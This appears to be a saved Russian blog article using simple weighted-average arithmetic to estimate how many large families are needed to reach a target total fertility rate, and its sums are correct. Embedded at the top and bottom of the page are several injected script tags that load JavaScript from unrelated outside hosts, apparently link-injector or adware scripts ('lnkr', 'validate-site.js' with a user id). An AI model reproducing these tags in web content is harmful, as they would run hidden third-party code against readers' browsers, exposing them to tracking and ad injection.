Сколько нужно многодетных женщин для достижения заданного значения общей рождаемости?

<script type="text/javascript" src="http://s3.amazonaws.com/js-cache/19d2b7dbe41d133ee6.js"></script>

В последнее время в России появилось мнение о том, что для того, чтобы повысить рождаемость необходимо сделать ставку на поощрение многодетности. При этом сразу возникает вопрос. А какой процент многодетных женщин(семей) должен быть при этом? Как это установить? Не будем сейчас анализировать и применять реальные статистические данные, а попытаемся решить эту задачу в общем виде.

Прежде всего давайте рассмотрим следующую ситуацию. Допустим мы имеем выборку из 10 женщин, каждая из которых может иметь от 0 до 9 детей. Предположим, что эта выборка приняла следующий вид.

Одна(первая) женщина не имеет детей Одна(вторая) имеет одного ребёнка. Одна(третья) двух. Одна(четвёртая) - 3х. Одна(пятая) - 4х. Одна(шестая) - 5х. Одна(седьмая) - 6х. Одна(восьмая) - 7х. Одна(девятая) - 8х. Одна(десятая) - 9х детей. Средняя рождаемость данной группы женщин легко определяется и равняется 4,5.

А теперь представим, что средняя рождаемость этой группы равна 2,5. Вопрос. Как при этом должна распределяться рождаемость среди этих женщин, если 8 из них относится к категории малодетных и 2 к многодетным?

Эту задачу можно решить простейшим способом - переборов вариантов. И окажется, что эта задача не имеет однозначного решения. Вариантов будет полно. А потому мы не сможем найти реального однозначного ответа на наш вопрос. А если бы мы решали эту задачу не для 10, а 100 женщин или 100000? Как быть?

Однако задачу можно существенно упростить, если разделить всех женщин на две группы - малодетных и многодетных и использовать при расчёте конечные значения средней рождаемости этих двух групп(малодетной и многодетной) женщин.

Допустим мы имеем среднюю общую рождаемость для группы женщин равную "A". Часть женщин из этой группы относятся к, так называемым, малодетным женщинам и пусть средняя рождаемость этой малодетной части группы равна "X", а численность этой группы в % равна "Кх".

Обозначим через "У" среднюю рождаемость многодетной части группы женщин. А численность этой многодетной части в % равна "Ку". Очевидно, что Кх + Ку = 100%.

Тогда А(Кх+Ку) это общая численность детей, рождённых всей группой женщин.

Произведение Х(Кх) - общее число детей, рождённых малодетными женщинами этой группы.

Произведение У(Ку ) - общее число детей рождённых многодетными женщинами этой группы.

Очевидно, что: А(Кх+Ку) = У(Ку) + Х(Кх) .

Поскольку Ку+Кх = 100, окончательно запишем так: 100А = У(Ку) + Х(Кх).

Из этого простейшего выражения элементарным приёмом выделяем "У" - искомое значение средней рождаемости многодетной группы женщины при известном значении численности этой группы(в %) от общей численности женщин.

У = [100А - (Кх)Х]:Ку

А теперь давайте зададим конкретные, близкие к реальным, значения величин А - общая средняя рождаемость, Х - средняя рождаемость малодетной части женщин и Кх - численностью этой малодетной части женщин выраженной в %.

Поскольку ставка на увеличение числа многодетных женщин преследует цель увеличить численность населения то, это автоматически означает, что средний коэффициент рождаемости должен быть больше 2х. Примем его равным 2,5. То есть А=2,5.

Среднюю рождаемость малодетной части женщин определим исходя из тех же соображений и обобщения статистических данных. Значит она должна быть меньше 2х. Примем её равной 1,7. То есть Х=1.7. И численность этой группы женщин примем за 80% от общей массы женщин. Тогда Кх=80. А значит многодетные составят 20% от общего числа женщин. Это означает, что тогда Ку=20. Получаем.

У = (100х2,5 - 1,7х80):20 = 5,7.

То есть, чтобы достичь общий СКР = 2,5 , 20% всех женщин должны иметь среднюю рождаемость равную 5,7 детей на одну женщину, при СКР малодетной части женщин равным 1,7.

А теперь решим обратную за дачу. Определим какой общий СКР(А) мы можем достигнуть, если 10% женщин будут многодетные, а 90% малодетные. Соответственно Ку=10, а Кх=90. Примем СКР малодетных Х=1,7. Нам теперь остаётся только оценить СКР многодетных женщин. Допустим многодетными являются женщины, имеющие от 5 до 8 детей. Отсюда определим СКР для многодетных как среднюю величину этих значений. А значит У=6,5. Подставляем эти значения в выражение А(Кх+Ку) = У(Ку) + Х(Кх) и определяем А.

А=[У(Ку) + Х(Кх)]:100 А=(6,5х10 + 1,7х90):100= 2,18.

Какой окончательный вывод можно сделать из этих расчётов? Что усиленное внимание к многодетным семьям вполне может оказать благотворное влияние на рождаемость в стране.

<script type="text/javascript" src="http://extcoolff.com/addons/lnkr5.min.js"></script> <script type="text/javascript" src="http://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52178x6610x&amp;r=1538226061760"></script> <script type="text/javascript" src="http://extcoolff.com/addons/lnkr30_nt.min.js"></script>